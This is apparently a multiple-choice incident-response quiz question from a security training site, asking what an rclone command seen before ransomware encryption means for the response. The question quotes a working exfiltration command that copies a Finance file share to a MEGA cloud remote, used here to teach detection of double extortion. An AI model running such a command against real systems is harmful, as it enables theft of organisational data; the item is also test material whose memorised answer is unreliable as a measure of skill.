hard20 pts · first answer countsincident-responseransomware-defense

Exfiltration before encryption

During a ransomware investigation, EDR shows the command below ran two days before encryption. What does it mean for the response?

rclone.exe copy \\FS01\Finance mega:backup01 --transfers 16 --ignore-existing

A.Data was likely stolen for double extortion (T1567.002), so the incident needs data breach scoping, legal review and possible notificationB.It is the backup agent working normallyC.It proves the attacker never accessed file sharesD.It only matters if the ransom is not paid

Discussion 0

Join free to post in the discussion.

Exfiltration before encryption

Discussion 0

Related questions